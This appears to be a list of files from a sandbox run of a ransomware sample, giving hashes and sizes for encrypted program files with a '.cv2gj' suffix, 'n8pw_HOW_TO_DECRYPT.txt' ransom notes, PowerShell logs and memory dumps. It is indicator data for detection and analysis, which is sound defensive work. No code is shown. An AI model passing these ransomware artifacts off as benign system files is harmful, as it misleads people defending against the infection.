7405acc07f6137b7fd9575f99a2b4354135956ef

SHA256
d74c0782682efde01c1c30e46814256f7d16d7df00a7167d90f2bd55ebaab626

SHA512
63fc8bef9e8ef833e45d99f954a9eb99d6bbcae39b2eca8a7000ac11b976cdd0ce0581e5e5e6b2f1bb2bdc911e31690e503dad945f0a3ea702dfe404896eded8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\main.css.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_GgAAABoAAAA0.cv2gj

Filesize
802B

MD5
bfeb063e064c71e44ce75898e79c61bc

SHA1
c4dcb4b6814cbee53b415a2a5df02fa500510ef3

SHA256
af439ebb0d55750003f7dbec517e7b0b26a6a0506b21e3b74d800cd1c7faa004

SHA512
0835ebe63867fba6d69a25c83dca767ffd9c57907ba76d9c71012be18510e2145a358d37c1cf4e4ad35d1cdd4f67ffd5928e70e18a376db607d8482356f12219

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
2KB

MD5
4c27ad089d04cfefd979d56f2a67b172

SHA1
63289f9198ee4553759b07de7a4229ad370fa976

SHA256
e34bcd5b8436d3bc45f98dd913d41f185c6b06326b66937d6e0d5c6434b16fe7

SHA512
23f9283f769fd310dcac26cac00d2eb033763d73bd45b0d148ea1ec3a3c75b073572c9fa9234699372a7e1caad7fcde7629d004815536df1d39d291f2d2d96a9

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
2KB

MD5
61bd39ed095fa82ffd334fbd7982616c

SHA1
51af9c2cd42743c5cf81200e0fba3cfaff801885

SHA256
237a70fe0388ce6884f5424692c460625691ef7acb0bf80403ec6b25f348b94a

SHA512
54dd8e1a5c19a9d51892a12e9501b7f6f69e09e0c446ec36f7ddfd9ad0d9cef52604ab2f8071c71ce63989510a703f1cfd5492e1ac20c8b37258ba21f8952400

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
289B

MD5
36503740756a442b7be294947462be83

SHA1
a1203ae869deb46f59a3273f6d130e7457bf5321

SHA256
d188ab283c552eee50677129f3b0ffd8d97828c4e7007bea258174c9a2200e87

SHA512
6ff98b15c7d757dd351bf50a1c4ac759a73fdafe03d5fad506478550987d0ec016ba9e617c099e6bf7b0263846eddc4eb32cb70fb1fbbc1189791defe556967a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
385B

MD5
c789d387908d7b7f21c6474a86e84019

SHA1
1c36fc6954178c43d9249a5ff3c7246057c6aead

SHA256
223f32512aec50c1c00fafc476d8e4ce61e79aa748c67b72fe55514882a31a5a

SHA512
1cab85dff119b591046049b69b6208283ca5e009d95129bb407df2768c82da30fd2af8debf6f1bbd91f37518538f3ba6bcda32b63d1d278b56fdd1f5f93439ca

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\nub.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_OAAAADgAAAA0.cv2gj

Filesize
1003B

MD5
c5aab3d175e0a3753ed2c3bbd7b929c1

SHA1
3ebee0101ad62449a67f506df9c8e7dacc39f877

SHA256
2e187b74e926afe70eafe0648c7125817e99f5586eee3e2e05446e360d4cc1bd

SHA512
e967020462477c3e9465e3383c544cf468dd89f4da084193634f5bcdc001b90f5bad3f4f6dda9e95ebe068108986daf41504e02331f4922ea25e7ffee1f27040

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
1KB

MD5
808971f45b803583d9d1f812803d81b7

SHA1
0f6aaecba7c976ed8c2f53782b3d3148f41b2905

SHA256
c25d9409ddf9645c2731ec785cacbb7568005bfc78fe0aec7df3ae3c4d30e333

SHA512
121e6b01125f9e9d4894f7d498bb4d39ce676ce51e29cbcd148e0c1feed46fbc58267cea7d5f66654be831dc479e4643be8b28b005467309b7df5cc7fbcd0dbe

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
2KB

MD5
ad68c0b141ea1dbfcadb540c1817289f

SHA1
548a46167f7f5193c5a1335753bc208bf92aa504

SHA256
537ac64cd204d7ef82cfe41c932deb9cb1ae738b2156eff4dbf73208384c0a13

SHA512
269ae39458a9f30351166f304825b777f3ff143b7914b98e83e01600fa04c7790e6e813466c2a1c5396ce13cd2199792905cf0baba1cd28a420440efce0843e8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nl-nl\ui-strings.js.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_LgAAAC4AAAA0.cv2gj

Filesize
840B

MD5
32147da1c647161e45a1004eb1b16349

SHA1
a953c222cce91729ebab36bddd43bd5a795a69cc

SHA256
434731fdc6d2f5115c5f7786ac989fedef7d0f60cd2ad4385cc98f6d2160566c

SHA512
8c825f8d38519cdac2a49e4ee8a9564ae72839199562ce9acfe72b4fbb94f8946775054782cf26a9566eaf8cf944a26e42b7b372c4e7349b33a8e17dcd13df94

Download Submit
C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\n8pw_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
d3eca3baec61c36c9353ef1699b8bfca

SHA1
f084193262e0d462165cfac58e1422ab90df7514

SHA256
3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678

SHA512
8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_PgAAAD4AAAA0.cv2gj

Filesize
57B

MD5
adf99b54fd6f317b611320564167c305

SHA1
d3d80dd39b686e04bf31db6ac9335084e841ef73

SHA256
1b68454d53e781f8793547fde8fcb2f3b03b5c8134f37b9d8c4045cb8a5473f3

SHA512
65fb44cdaf01632d60ecf3b49ab1eb661982ee8b6a430dcf6d1e75789787c9e7356754cd071421ca44a1b32ab918be97a630b1b0ca722383eea56d40fa131642

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\epl-v10.html.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
12KB

MD5
d6dfa7c9a551a51575fdc21285f28c77

SHA1
decc8d179ecd036f142cd47ed0d15c9ae5fc0a8f

SHA256
0c72945371f512abc0630fdc39ba4159ac47a3c2ecef856bab797b5016df8871

SHA512
ad322a8dfc57fc7117b41414c7e73e357e84d1754c23e70a0775d0c58f2a935e5d3e5141a405061ad861858b71ca38e2427282ed2246b4b37a439f80be4dfe88

Download Submit
C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\license.html.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
8KB

MD5
cb6e172f8170b5b9fb90f9835965ffe4

SHA1
395ca9059bf80398536c482cae65211306e8f5c7

SHA256
517442459c73c08873b79ed9db9a93df0b4629ba585afb0a962d38623adb7183

SHA512
03fd961378f31f8c104c898a8df32a32a1117d82d1bf43823e71d80f3abafcca03c27dd6533e61fd9301ddd921d323d5290258661f6a37201f2e22775639b1a7

Download Submit
C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_CopyNoDrop32x32.gif.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_NgAAADYAAAA0.cv2gj

Filesize
153B

MD5
1e9d8f133a442da6b0c74d49bc84a341

SHA1
259edc45b4569427e8319895a444f4295d54348f

SHA256
1a1d3079d49583837662b84e11d8c0870698511d9110e710eb8e7eb20df7ae3b

SHA512
63d6f70c8cab9735f0f857f5bf99e319f6ae98238dc7829dd706b7d6855c70be206e32e3e55df884402483cf8bebad00d139283af5c0b85dc1c5bf8f253acd37

Download Submit
C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_F_COL.HXK.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
114B

MD5
b8fbbc73ddde31636552ab184b4e398f

SHA1
5cfbfaea56e979a07c083f2340b10a5894812d78

SHA256
3c3702253a4695b5bcb18a2565b1d49f9f32f5f9f2442fd1395197970fa34edb

SHA512
7f0f4b098e0d37ed403be8d54e2dcbc603791ddf00e3a21747c41ecfb829fdf664b6bddda8d51309e1229b197244a1d8ae23e1b3bf3348f99f84a7a8684db8d7

Download Submit
C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_K_COL.HXK.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
113B

MD5
db9742e49c49c505b293a84518e95fa5

SHA1
406dae0b226900aad2ad2e10d8366651b848c053

SHA256
1c17b95e5098adb0c0e06aac8a8c7c50c6a5ef1b696465d548c8a922f1d3a653

SHA512
974917a72b2b3b783bb0ffcbfe0058489ae65ac0aa71ae86d77195780aeb7800848a3158fbe7ad8ddf9b30145d8a1a2c66f72484305ccf363b7981f105be295b

Download Submit
C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo.QUcooJKB-QkgIJTxhngivAJvdxjrLq98VT76HmsTjpr_AAAAAAAAAAA0.cv2gj

Filesize
585KB

MD5
744e07af37a8dd2e6a9b5ad4807c2d60

SHA1
742e1f16a51613f6a48153d7437958d036ec06ae

SHA256
6927731805b6126392dce786738c1a3675d11fa7d8c6b938eaaa5c0486116be3

SHA512
3b29d60147d8ad5a5e3a3fbb143edf7a2de5494dbab0a65c0910513935f4a693376304cef3ec7772bed54f926623a2b8fbe9e178e856249f0d75ab74908677a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f77787a66b6528efe41556c8c5556e53

SHA1
60f6433d36caf40f9345e6e36956456e8fd1fc10

SHA256
fd98241956bf560f5c136be16234a6f4d24ac7351701cd784dd537dfb36304c6

SHA512
834645dd442d926490a9ed90eb7a71c0215f89900b5387fc50fe7fc5addfcadb383b754dada4b5df7b4b8cc6613ea08e8debe21fed0a5b05df0d783d925a2cb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0arbqah.crf.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\n8pw_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
d3eca3baec61c36c9353ef1699b8bfca

SHA1
f084193262e0d462165cfac58e1422ab90df7514

SHA256
3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678

SHA512
8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

Download Submit
memory/4356-128-0x000002A625710000-0x000002A625786000-memory.dmp

Filesize
472KB

Download
memory/4356-125-0x000002A625560000-0x000002A625582000-memory.dmp

Filesize
136KB

Download
memory/4356-141-0x000002A625550000-0x000002A625560000-memory.dmp

Filesize
64KB

Download
memory/4356-142-0x000002A625550000-0x000002A625560000-memory.dmp

Filesize
64KB

Download
memory/5100-203-0x000001BC1F270000-0x000001BC1F280000-memory.dmp

Filesize
64KB

Download
memory/5100-206-0x000001BC1F270000-0x000001BC1F280000-memory.dmp

Filesize
64KB

Download
memory/5100-205-0x000001BC1F270000-0x000001BC1F280000-memory.dmp

Filesize
64KB

Download